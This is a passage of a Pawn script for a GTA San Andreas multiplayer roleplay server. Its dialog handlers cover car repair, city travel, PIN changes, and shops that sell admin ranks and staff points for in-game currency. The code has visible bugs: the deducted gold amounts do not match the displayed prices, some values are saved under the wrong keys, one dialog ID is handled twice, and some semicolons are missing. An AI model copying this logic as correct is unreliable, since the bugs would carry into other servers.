					   RemovePlayerFromVehicle(playerid);
					   return 1;
					}
				}
				else {
				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
					}
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
	   if(dialogid == 1377)
	   {
		  if(response)
		  {
			 if(listitem == 0)
			 {
				 if(GetPlayerPool(playerid) < 1000)
			 {
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (1000$)");
					return 1;
					}
			GivePlayerPool(playerid,-1000);
			GameTextForPlayer(playerid, "~r~-$1000", 5000, 1);
		  SetPlayerInterior(playerid,1);
			SetPlayerPos(playerid,1.730883,28.791385,1199.593750);
		  SetPlayerFacingAngle(playerid, 0.939619);
		  SCM(playerid, COLOR_CRS1, "Please Wait 30 second ...");
			SetTimerEx("LStoLV",30000,false,"d",playerid);
			 }
		  if(listitem == 1)
			 {
				 if(GetPlayerPool(playerid) < 2000)
			 {
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (2000$)");
					return 1;
					}
			GivePlayerPool(playerid,-2000);
			GameTextForPlayer(playerid, "~r~-$2000", 5000, 1);
		  SetPlayerInterior(playerid,1);
			SetPlayerPos(playerid,1.730883,28.791385,1199.593750);
		  SetPlayerFacingAngle(playerid, 0.939619);
		  SCM(playerid, COLOR_CRS1, "Please Wait 30 second ...");
			SetTimerEx("LStoSF",30000,false,"d",playerid);
			 }

		  }
	   }
		if(dialogid == 9037)
	   {
		  if(response)
		  {
						PlayerInfo[playerid][pPin1] = Pin1[playerid];
						SaveKonVal(playerid, "pPin1", Pin1[playerid]);
						PlayerInfo[playerid][pPin2] = Pin2[playerid];
						SaveKonVal(playerid, "pPin2", Pin2[playerid]);
						PlayerInfo[playerid][pPin3] = Pin3[playerid];
						SaveKonVal(playerid, "pPin3", Pin3[playerid]);
						PlayerInfo[playerid][pPin4] = Pin4[playerid];
						SaveKonVal(playerid, "pPin4", Pin4[playerid]);
						PlayerInfo[playerid][pAutoPIN] = 0;
						SaveKonVal(playerid, "pAutoPIN", 0);
						//SCM(playerid, COLOR_YELLOW, "Pin Code successfully changed.");
					 format(string, sizeof(string), "Your new pin code is: {FFFFFF}%d%d%d%d", PINFO[playerid][pPin1],PINFO[playerid][pPin2],PINFO[playerid][pPin3],PINFO[playerid][pPin4]);
					  SendMessage(playerid, COLOR_Good, string);
					  			 new sextxxt[10];
			 if(PINFO[playerid][pSex] == 1) sextxxt = "his";
			 if(PINFO[playerid][pSex] == 2) sextxxt = "her";
			 new mirdana[100];
	         format(mirdana, sizeof(mirdana), "[Admin-Warn]: {FFFFFF}Player %s(%i) changed %s account's pin code",RPName(playerid), playerid, sextxxt);
	         ABroadCast(COLOR_AdminWarn,mirdana,12);
						//GameTextForPlayer(playerid, "~W~Your Pin ~G~Succeefuly~w~Changed", 3000, 3);
	TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Hide the grey background box
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][e]); // Hide numbers
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][e]); // Hide boxes
	TextDrawHideForPlayer(playerid, BoxInput1);
	TextDrawHideForPlayer(playerid, BoxInput2);
	TextDrawHideForPlayer(playerid, BoxInput3);
	TextDrawHideForPlayer(playerid, BoxInput4);
	PlayerTextDrawHide(playerid, Input1[playerid]);
	PlayerTextDrawHide(playerid, Input2[playerid]);
	PlayerTextDrawHide(playerid, Input3[playerid]);
	PlayerTextDrawHide(playerid, Input4[playerid]);
	TextDrawHideForPlayer(playerid, Ok);
	TextDrawHideForPlayer(playerid, Clear);
	TextDrawHideForPlayer(playerid, Cancel);
	Cancele[playerid] = 0;
	PlayerTextDrawSetString(playerid, Input1[playerid], "-");
	PlayerTextDrawSetString(playerid, Input2[playerid], "-");
	PlayerTextDrawSetString(playerid, Input3[playerid], "-");
	PlayerTextDrawSetString(playerid, Input4[playerid], "-");
	CancelSelectTextDraw(playerid); // Hide the player's mouse cursor
	AdadPin[playerid] = 0;
		  }
	   }

	   if(dialogid == 203020)
	   {
		  if(response)
		  {
			 if(listitem == 0)
			 {
				 if(GetPlayerPool(playerid) < 1000)
			 {
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (1000$)");
					return 1;
					}
			GivePlayerPool(playerid,-1000);
			GameTextForPlayer(playerid, "~r~-$1000", 5000, 1);
		  SetPlayerInterior(playerid,1);
			SetPlayerPos(playerid,1.730883,28.791385,1199.593750);
		  SetPlayerFacingAngle(playerid, 0.939619);
		  SCM(playerid, COLOR_CRS1, "Please Wait 30 second ...");
			SetTimerEx("LVtoLS",30000,false,"d",playerid);
			 }
		  if(listitem == 1)
			 {
				 if(GetPlayerPool(playerid) < 2000)
			 {
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (2000$)");
					return 1;
					}
			GivePlayerPool(playerid,-2000);
			GameTextForPlayer(playerid, "~r~-$2000", 5000, 1);
		  SetPlayerInterior(playerid,1);
			SetPlayerPos(playerid,1.730883,28.791385,1199.593750);
		  SetPlayerFacingAngle(playerid, 0.939619);
		  SCM(playerid, COLOR_CRS1, "Please Wait 30 second ...");
			SetTimerEx("LVtoSF",30000,false,"d",playerid);
			 }

		  }
	   }
	   if(dialogid == 1377)
	   {
		  if(response)
		  {
			 if(listitem == 0)
			 {
				 if(GetPlayerPool(playerid) < 1000)
			 {
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (1000$)");
					return 1;
					}
			GivePlayerPool(playerid,-1000);
			GameTextForPlayer(playerid, "~r~-$1000", 5000, 1);
		  SetPlayerInterior(playerid,1);
			SetPlayerPos(playerid,1.730883,28.791385,1199.593750);
		  SetPlayerFacingAngle(playerid, 0.939619);
		  SCM(playerid, COLOR_CRS1, "Please Wait 30 second ...");
			SetTimerEx("SFtoLV",30000,false,"d",playerid);
			 }
		  if(listitem == 1)
			 {
				 if(GetPlayerPool(playerid) < 2000)
			 {
			SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash (2000$)");
					return 1;
					}
			GivePlayerPool(playerid,-2000);
			GameTextForPlayer(playerid, "~r~-$2000", 5000, 1);
		  SetPlayerInterior(playerid,1);
			SetPlayerPos(playerid,1.730883,28.791385,1199.593750);
		  SetPlayerFacingAngle(playerid, 0.939619);
		  SCM(playerid, COLOR_CRS1, "Please Wait 30 second ...");
			SetTimerEx("SFtoLS",30000,false,"d",playerid);
			 }

		  }
	   }
	  if(dialogid == 404)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_2] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
					new r = PlayerInfo[MashinOwner[carid]][pVeh2];
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_2])
				{
					if (vInfo[r][cDestroyed] >= 1 && vInfo[r][cFixed] != 1)
					{
					new pricee = (vInfo[r][cPrice]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  OnPlayerCommandText(playerid, "/buyinsurance 2 1");
								vInfo[r][cFixed] = 1;
								SaveKonValV(r, "cFixed", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner[carid]);
						  return 1;
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					   RemovePlayerFromVehicle(playerid);
					   return 1;
					}
				}
				else {
				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
					}
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
		if(dialogid == 405)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_3] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
					new r = PlayerInfo[MashinOwner[carid]][pVeh3];
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_3])
				{
					if (vInfo[r][cDestroyed] >= 1 && vInfo[r][cFixed] != 1)
					{
					new pricee = (vInfo[r][cPrice]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  OnPlayerCommandText(playerid, "/buyinsurance 3 1");
								vInfo[r][cFixed] = 1;
								SaveKonValV(r, "cFixed", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner[carid]);
						  return 1;
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					   RemovePlayerFromVehicle(playerid);
					   return 1;
					}
				}
				else {

				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
					}
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
		if(dialogid == 406)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_4] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
					new r = PlayerInfo[MashinOwner[carid]][pVeh4];
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_4])
				{
					if (vInfo[r][cDestroyed] >= 1 && vInfo[r][cFixed] != 1)
					{
					new pricee = (vInfo[r][cPrice]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  OnPlayerCommandText(playerid, "/buyinsurance 4 1");
								vInfo[r][cFixed] = 1;
								SaveKonValV(r, "cFixed", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner[carid]);
						  return 1;
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					   RemovePlayerFromVehicle(playerid);
					   return 1;
					}
				}
				else {
				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
					}
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
		if(dialogid == 407)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_5] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
					new r = PlayerInfo[MashinOwner[carid]][pVeh5];
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_5])
				{
					if (vInfo[r][cDestroyed] >= 1 && vInfo[r][cFixed] != 1)
					{
					new pricee = (vInfo[r][cPrice]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  OnPlayerCommandText(playerid, "/buyinsurance 5 1");
								vInfo[r][cFixed] = 1;
								SaveKonValV(r, "cFixed", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner[carid]);
						  return 1;
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					   RemovePlayerFromVehicle(playerid);
					   return 1;
					}
				}
				else {
				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
					}
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
		if(dialogid == 408)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_6] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
					new r = PlayerInfo[MashinOwner[carid]][pVeh6];
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_6])
				{
					if (vInfo[r][cDestroyed] >= 1 && vInfo[r][cFixed] != 1)
					{
					new pricee = (vInfo[r][cPrice]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  OnPlayerCommandText(playerid, "/buyinsurance 6 1");
								vInfo[r][cFixed] = 1;
								SaveKonValV(r, "cFixed", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner[carid]);
						  return 1;
					   }
					   else
					   SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
					   PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
					   RemovePlayerFromVehicle(playerid);
					   return 1;
					}
				}
				else {
				SCM(playerid, COLOR_RED, "This isn't your car.");
				RemovePlayerFromVehicle(playerid);
					}
				return 1;
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
		 if(dialogid == 33333)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_3] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_3])
				{
					if (PlayerInfo[MashinOwner_3[carid]][cDestroyed_3] >= 1 && PlayerInfo[MashinOwner_3[carid]][cFixed_3] != 1)
					{
					   new pricee = (PlayerInfo[MashinOwner_3[carid]][cPrice_3]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  PlayerInfo[MashinOwner_3[carid]][cFixed_3] = 1;
						  SaveKonVal(MashinOwner_3[carid], "cFixed_3", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner_3[carid]);
						  return 1;
					   }
					   else
					   {
						  SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
						  PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
						  RemovePlayerFromVehicle(playerid);
						  return 1;
					   }
					}
				}
				else
				{
					SCM(playerid, COLOR_RED, "This isn't your car.");
					RemovePlayerFromVehicle(playerid);
					return 1;
				}
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
		 if(dialogid == 44444)
	   {
		  if(response)
		  {
			 if(PlayerInfo[playerid][pCar_4] != 0)
			 {
				new carid = GetPlayerVehicleID(playerid);
				if(GetPlayerVehicleID(playerid) == PlayerInfo[playerid][pCar_4])
				{
					if (PlayerInfo[MashinOwner_4[carid]][cDestroyed_4] >= 1 && PlayerInfo[MashinOwner_4[carid]][cFixed_4] != 1)
					{
					   new pricee = (PlayerInfo[MashinOwner_4[carid]][cPrice_4]*1/100);
					   if(GetPlayerPool(playerid) >= pricee)
					   {
						  PlayerInfo[MashinOwner_4[carid]][cFixed_4] = 1;
						  SaveKonVal(MashinOwner_4[carid], "cFixed_4", 1);
						  GivePlayerPool(playerid, - pricee);
						  SCM(playerid, COLOR_CRS3, "With mechanical help you manage to fix your car completely.");
						  PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
						  //SaveAccount(MashinOwner_4[carid]);
						  return 1;
					   }
					   else
					   {
						  SCM(playerid, COLOR_RED, "You haven't enough cash with you.");
						  PlayerPlaySound(playerid, 1055, 0.0, 0.0, 10.0)
						  RemovePlayerFromVehicle(playerid);
						  return 1;
					   }
					}
				}
				else
				{
					SCM(playerid, COLOR_RED, "This isn't your car.");
					RemovePlayerFromVehicle(playerid);
					return 1;
				}
			 }
		  }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_RED, "You can not drive the car until you pay for the repair.");
			 return 1;
		  }
	   }
	   //Hoster_System Added By SiNaGaMeR
			if(dialogid == 11)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
			if(PINFO[playerid][pGold] < 90000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			ShowPlayerDialog(playerid, 12, DIALOG_STYLE_MSGBOX,"Hoster Lvl 1","Are you sure to buy [HosterLvl 1] by 90000 gold?","Yes","Close");
			return 1;
			}
		  if(listitem == 1) {
			if(PINFO[playerid][pGold] < 105000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			ShowPlayerDialog(playerid, 13, DIALOG_STYLE_MSGBOX,"Hoster Lvl 3","Are you sure to buy [HosterLvl 3] by 105000 gold?","Yes","Close");
			return 1;
			}
		  if(listitem == 2) {
			if(PINFO[playerid][pGold] < 125000) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			ShowPlayerDialog(playerid, 14, DIALOG_STYLE_MSGBOX,"Hoster Lvl 6","Are you sure to buy [HosterLvl 6] by 125000 gold?","Yes","Close");
			return 1;
			}
			}
		  else
		  {
		  return 1;
		  }
	   }


		if(dialogid == 17) {
		if(response) {
		PlayerInfo[playerid][pVip] = 1;
		SaveKonVal(playerid, "pVip", 1);
		PINFO[playerid][pGold] -= 55000;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You bought VIP from shop by 55000 golds.");
		return 1;
		}
		}



		if(dialogid == 12) {
		if(response) {
		PINFO[playerid][pAdmin] = 7;
		SaveKonVal(playerid, "pAdmin", PINFO[playerid][pAdmin]);
		PINFO[playerid][pHelper] = 6;
		SaveKonVal(playerid, "pHelper", PINFO[playerid][pHelper]);
		PINFO[playerid][pGold] -= 20000;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		PINFO[playerid][pHDay] = 30;
		SaveKonVal(playerid, "pHDay", 30);
		PINFO[playerid][pHAgr] = 0;
	   SaveKonVal(playerid, "pHAgr", 0);
		TextDrawShowForPlayer(playerid, ReportsTD);
		TextDrawShowForPlayer(playerid, HelpmesTD);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Great! you successfully bought Hoster Level 1 with 90,000 gold !.");
		//SCM(playerid, COLOR_SINA2, "[Admins-Team]:{FF0000} Welcome to Admins Team, you should read the rules with /hosterrules.");
		//SCM(playerid, COLOR_SINA2, "[Helpers-Team]:{FF0000} We given you HelperLvl 6 but please don't answer to /helpme.");
		SCM(playerid, COLOR_SINA2, "[Hosters-Help]:{FF0000} If you want to see how features do you have type /adh.");
		new sttrr[512];
		format(sttrr,256,"{FFFFFF}%s bought [ {00FF00}HosterLevel 1 {FFFFFF}] from our shop.", PINFO[playerid][pName]);
		AdminWarn(sttrr);
		new strlol[3072];
		format(strlol,2048,"{FF0000}** {C60000}AdmBot{FFFF00}: {FFFFFF}We have new HosterLvl 1 known as %s. {FF0000}**",PlayerInfo[playerid][pName]);
		SendClientMessageToAll(COLOR_LIGHTRED,strlol);
		return 1;
		}
		else {
		return 1;
		}
		}

		if(dialogid == 13) {
		if(response) {
		PINFO[playerid][pAdmin] = 8;
		SaveKonVal(playerid, "pAdmin", PINFO[playerid][pAdmin]);
		PINFO[playerid][pHelper] = 6;
		SaveKonVal(playerid, "pHelper", PINFO[playerid][pHelper]);
		PINFO[playerid][pGold] -= 30000;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		PINFO[playerid][pHDay] = 30;
		SaveKonVal(playerid, "pHDay", 30);
		PINFO[playerid][pHAgr] = 0;
	   SaveKonVal(playerid, "pHAgr", 0);
		TextDrawShowForPlayer(playerid, ReportsTD);
		TextDrawShowForPlayer(playerid, HelpmesTD);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Great! you successfully bought Hoster Level 3 with 105,000 gold !");
		//SCM(playerid, COLOR_SINA2, "[Admins-Team]:{FF0000} Welcome to Admins Team, you should read the rules with /hosterrules.");
		//SCM(playerid, COLOR_SINA2, "[Helpers-Team]:{FF0000} We given you HelperLvl 6 but please don't answer to /helpme.");
		SCM(playerid, COLOR_SINA2, "[Hosters-Help]:{FF0000} If you want to see how features do you have type /adh.");
		new sttrr[512];
		format(sttrr,256,"{FFFFFF}%s bought [ {FF6347}HosterLevel 3 {FFFFFF}] from our shop.", PINFO[playerid][pName]);
		AdminWarn(sttrr);
		new strlol[3072];
		format(strlol,2048,"{FF0000}** {C60000}AdmBot{FFFF00}: {FFFFFF}We have new HosterLvl 3 known as %s. {FF0000}**",PlayerInfo[playerid][pName]);
		SendClientMessageToAll(COLOR_LIGHTRED,strlol);
		return 1;
		}
		else {
		return 1;
		}
		}

		if(dialogid == 14) {
		if(response) {
		PINFO[playerid][pAdmin] = 9;
		SaveKonVal(playerid, "pAdmin", PINFO[playerid][pAdmin]);
		PINFO[playerid][pHelper] = 6;
		SaveKonVal(playerid, "pHelper", PINFO[playerid][pHelper]);
		PINFO[playerid][pGold] -= 40000;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		PINFO[playerid][pHDay] = 30;
		SaveKonVal(playerid, "pHDay", 30);
		PINFO[playerid][pHAgr] = 0;
	   SaveKonVal(playerid, "pHAgr", 0);
		TextDrawShowForPlayer(playerid, ReportsTD);
		TextDrawShowForPlayer(playerid, HelpmesTD);
		SCM(playerid, COLOR_YELLOW, "[Shop]: Great! you successfully bought Hoster Level 6 with 125,000 gold !");
		//SCM(playerid, COLOR_SINA2, "[Admins-Team]:{FF0000} Welcome to Admins Team, you should read the rules with /hosterrules.");
		//SCM(playerid, COLOR_SINA2, "[Helpers-Team]:{FF0000} We given you HelperLvl 6 but please don't answer to /helpme.");
		SCM(playerid, COLOR_SINA2, "[Hosters-Help]:{FF0000} If you want to see how features do you have type /adh.");
		new sttrr[512];
		format(sttrr,256,"{FFFFFF}%s bought [ {FF0000}HosterLevel 6 {FFFFFF}] from our shop.", PINFO[playerid][pName]);
		AdminWarn(sttrr);
		new strlol[3072];
		format(strlol,2048,"{FF0000}** {C60000}AdmBot{FFFF00}: {FFFFFF}We have new HosterLvl 6 known as %s. {FF0000}**",PlayerInfo[playerid][pName]);
		SendClientMessageToAll(COLOR_LIGHTRED,strlol);
		return 1;
		}
		else {
		return 1;
		}
		}


		if(dialogid == 1060)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
		  if(PINFO[playerid][pSPoint] < 100) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough Staff Point.");
			PINFO[playerid][pSPoint] -= 100;
			SaveKonVal(playerid, "pSPoint", PINFO[playerid][pSPoint]);
			PINFO[playerid][pPoint] += 200;
			SaveKonVal(playerid, "pPoint", PINFO[playerid][pPoint]);
			SCM(playerid, COLOR_SINA2, "{00FF00}[Staff Shop]: You successfully bought{FF0000} 200{00FF00} points for {FF0000}100{00FF00} spoints.");
			return 1;
			}
		  if(listitem == 1) {
		  if(PINFO[playerid][pSPoint] < 400) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough Staff Point.");
			PINFO[playerid][pSPoint] -= 400;
			SaveKonVal(playerid, "pSPoint", PINFO[playerid][pSPoint]);
			PINFO[playerid][pPoint] += 500;
			SaveKonVal(playerid, "pPoint", PINFO[playerid][pPoint]);
			SCM(playerid, COLOR_SINA2, "{00FF00}[Staff Shop]: You successfully bought{FF0000} 500{00FF00} points for {FF0000}400{00FF00} spoints.");
			return 1;
			}
		  if(listitem == 2) {
		  if(PINFO[playerid][pSPoint] < 900) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough Staff Point.");
			PINFO[playerid][pSPoint] -= 900;
			SaveKonVal(playerid, "pSPoint", PINFO[playerid][pSPoint]);
			PINFO[playerid][pPoint] += 1000;
			SaveKonVal(playerid, "pPoint", PINFO[playerid][pPoint]);
			SCM(playerid, COLOR_SINA2, "{00FF00}[Staff Shop]: You successfully bought{FF0000} 1,000{00FF00} points for {FF0000}900{00FF00} spoints.");
			}
			return 1;
			}
			}
			
		if(dialogid == 1030)
		  {
		  if(response)
		  {
		  if(listitem == 0) {
			if(PINFO[playerid][pPoint] < 200) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough Point.");
			if(PINFO[playerid][pAav] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Leader AV.");
		PINFO[playerid][pPoint] -= 200;
			SaveKonVal(playerid, "pPoint", PINFO[playerid][pPoint]);
			PINFO[playerid][pAav] -= 1;
			SaveKonVal(playerid, "pAav", PINFO[playerid][pLav]);
			SCM(playerid, COLOR_SINA2, "{00FF00}[Staff Shop]: You successfully bought{FF0000} -1{00FF00} Leader AV for {FF0000}200{00FF00} points.");
			}
			return 1;
			}
			}
			if(dialogid == 1040)
		  {
		  if(response)
		  {
		  if(listitem == 0) {
			if(PINFO[playerid][pPoint] < 300) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough Point.");
			if(PINFO[playerid][pAav] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Helper AV.");
		PINFO[playerid][pPoint] -= 300;
			SaveKonVal(playerid, "pPoint", PINFO[playerid][pPoint]);
			PINFO[playerid][pAav] -= 1;
			SaveKonVal(playerid, "pAav", PINFO[playerid][pHav]);
			SCM(playerid, COLOR_SINA2, "{00FF00}[Staff Shop]: You successfully bought{FF0000} -1{00FF00} Helper AV for {FF0000}300{00FF00} points.");
			}
			return 1;
			}
			}
		  if(dialogid == 1050)
		  {
		  if(response)
		  {
		  if(listitem == 0) {
			if(PINFO[playerid][pPoint] < 400) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough Point.");
			if(PINFO[playerid][pAav] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Admin AV.");
		PINFO[playerid][pPoint] -= 400;
			SaveKonVal(playerid, "pPoint", PINFO[playerid][pPoint]);
			PINFO[playerid][pAav] -= 1;
			SaveKonVal(playerid, "pAav", PINFO[playerid][pAav]);
			SCM(playerid, COLOR_SINA2, "{00FF00}[Staff Shop]: You successfully bought{FF0000} -1{00FF00} Admin AV for {FF0000}400{00FF00} points.");
			}
			return 1;
			}
			}



		if(dialogid == 1020)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
			new shop[1024];
			format(shop,sizeof(shop),"{FFFFFF}200 Point - {FF0000}100 Staff Point \t\n{FFFFFF}500 Point - {FF0000}400 Staff Point \t\n{FFFFFF}1,000 Point - {FF0000}900 Staff Point");
			new title[256];
			format(title, sizeof(title), "Staff Features - Staff Points: %d", PINFO[playerid][pSPoint]);
			ShowPlayerDialog(playerid,1060,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			if(PINFO[playerid][pSPoint] >= 100)
			{
			format(shop,sizeof(shop),"{FFFFFF}200 Point - {00FF00}100 Staff Point \t\n{FFFFFF}500 Point - {FF0000}400 Staff Point \t\n{FFFFFF}1,000 Point - {FF0000}900 Staff Point");
			ShowPlayerDialog(playerid,1060,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			if(PINFO[playerid][pSPoint] >= 400)
			{
			format(shop,sizeof(shop),"{FFFFFF}200 Point - {00FF00}100 Staff Point \t\n{FFFFFF}500 Point - {00FF00}400 Staff Point \t\n{FFFFFF}1,000 Point - {FF0000}900 Staff Point");
			ShowPlayerDialog(playerid,1060,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			if(PINFO[playerid][pSPoint] >= 900)
			{
			format(shop,sizeof(shop),"{FFFFFF}200 Point - {00FF00}100 Staff Point \t\n{FFFFFF}500 Point - {00FF00}400 Staff Point \t\n{FFFFFF}1,000 Point - {00FF00}900 Staff Point");
			ShowPlayerDialog(playerid,1060,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			return 1;
			}
			}
			if(listitem == 1) {
			if(PINFO[playerid][pLeader] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Leader.");
		  new shop[1024];
			format(shop,sizeof(shop),"{FFFFFF}Clear 1 Leader AV - {FF0000}200 Point");
			new title[256];
			format(title, sizeof(title), "Leader Features - Points: %d", PINFO[playerid][pPoint]);
			ShowPlayerDialog(playerid,1030,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			if(PINFO[playerid][pPoint] >= 200)
			{
			format(shop,sizeof(shop),"{FFFFFF}Clear 1 Leader AV - {00FF00}200 Point");
			ShowPlayerDialog(playerid,1030,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			return 1;
			}
			}
			if(listitem == 2) {
			if(PINFO[playerid][pHelper] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Helper.");
		  new shop[1024];
			format(shop,sizeof(shop),"{FFFFFF}Clear 1 Helper AV - {FF0000}300 Point");
			new title[256];
			format(title, sizeof(title), "Helper Features - Points: %d", PINFO[playerid][pPoint]);
			ShowPlayerDialog(playerid,1040,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			if(PINFO[playerid][pPoint] >= 300)
			{
			format(shop,sizeof(shop),"{FFFFFF}Clear 1 Helper AV - {00FF00}300 Point");
			ShowPlayerDialog(playerid,1040,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			return 1;
			}
			}
			if(listitem == 3) {
